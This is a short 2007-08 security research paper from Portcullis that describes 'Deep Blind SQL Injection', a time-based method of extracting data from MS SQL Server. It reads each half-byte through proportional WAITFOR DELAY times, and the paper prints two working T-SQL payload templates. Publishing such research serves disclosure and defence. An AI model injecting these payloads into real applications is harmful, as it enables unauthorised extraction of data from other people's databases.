Deep Blind SQL Injection

Ferruh Mavituna
www.portcullis-security.com

Blind SQL Injection attacks are described in several papers[1]. If the injection point is completely blind[2] then the only way[3] to extract data is using time based attacks like *WAITFOR DELAY*, *BENCHMARK etc*.

When it comes to reading data there are two known ways,

1. Reading data bit by bit
2. Reading data through a binary search algorithm with character patterns

Both methods have a **one request – one response** limit and on average for each char you need to make **six requests** to the server.

In Deep Blind SQL Injection reading data is more complex than in classic blind injection. However it is still possible to retrieve data, moreover it is possible with a 66% reduction in the number of requests made of the server, requiring two rather than six requests to retrieve each char.

Deep Blind SQL Injection works well within MS SQL Server and may work in other databases such as like ORACLE, PostgreSQL etc.

This method of injection, which retrieves more that one response per request is achieved using time delay differences. For example if the first half byte of char is 6, the database is going to wait for 12 seconds, if second half byte of char is 1 it's going to wait for 2 seconds. An attacker should store server response times and divide them by 2 to understand the response. Finally, in 2 requests we got 0x61 which is 'a'. Obviously depending on the condition it's possible to use larger or smaller dividers than 2.

In Practice

A working implementation for this attack for SQL Server:

```
DECLARE @x as int;
DECLARE @w as char(6);
SET @x=ASCII(SUBSTRING(master.dbo.fn_varbintohexstr(CAST({QUERY} as
varbinary(8000))),{POSITION},1));
IF @x>97 SET @x=@x-87 ELSE SET @x=@x-48;
SET @w='0:0:'+CAST(@x*{SECONDS} as char);
WAITFOR DELAY @w
```

{QUERY} is the data that you want to get. This can be variable like USER or function like db_name(2) or it can be a SELECT statement which returns one row and one column.

{POSITION} is the half-byte you want to read. You need to add 2 to eliminate the "0x" string at the beginning from SQL Server responses.

{SECONDS} is the multiplier for wait time. Waiting time can be tweaked as milliseconds but also by using fractions like WAITFOR DELAY '0:0:0.51'.

Same code can be written in slightly different and shorter but less readable:

```
DECLARE @x as int;
DECLARE @w as char(6);
SET @x=ASCII(SUBSTRING(master.dbo.fn_varbintohexstr(CAST({QUERY} as
varbinary(8000))),{POSITION},1));
SET @w='0:0:'+CAST((((@x+((@x&79)/8)+(@x/64)&15)*2) as char);
WAITFOR DELAY @w
```

Reality of Attacks

Deep Blind SQL Injection in general terms is not suited to manual attacks, it is advisable that they be automated, this has been done within "*BSQL Hacker*" for SQL Server [4].

Limitations

- Unstable in environments where the connection time is slow or other factors which lead to unpredictable server response times.
- Most of the server-side scripts and database connection layers have timeout limits of approximately 30 seconds (whilst *30 seconds is enough time to enumerate a half-byte using*

a 2 second multiplier, longer timeouts may be required in order to increase the stability of results within other environment, suggested value would be 60 seconds).

Credits

Nico Leidecker - http://www.leidecker.info/,
Thanks for shorter hex string to integer conversion algorithm.

Document History

- 03/02/2007 - Idea
- 01/05/2007 – Private Release
- 19/08/2007 – BSQL Hacker implementation
- 10/09/2007 – Formatting etc.
- 26/10/2007 – Ready for Public Release
- 26/02/2008 – Hex Encoding Improved

---

[1] More Advanced SQL Injections, NGS
Blind SQL Injection, SPI Dynamics
Blind SQL Server Injection, Imperva

[2] No error is displayed and no indicators are visible in the response that an error occurred

[3] Except outbound communication channels

[4] At the time of writing BSQL Hacker is available at https://labs.portcullis.co.uk/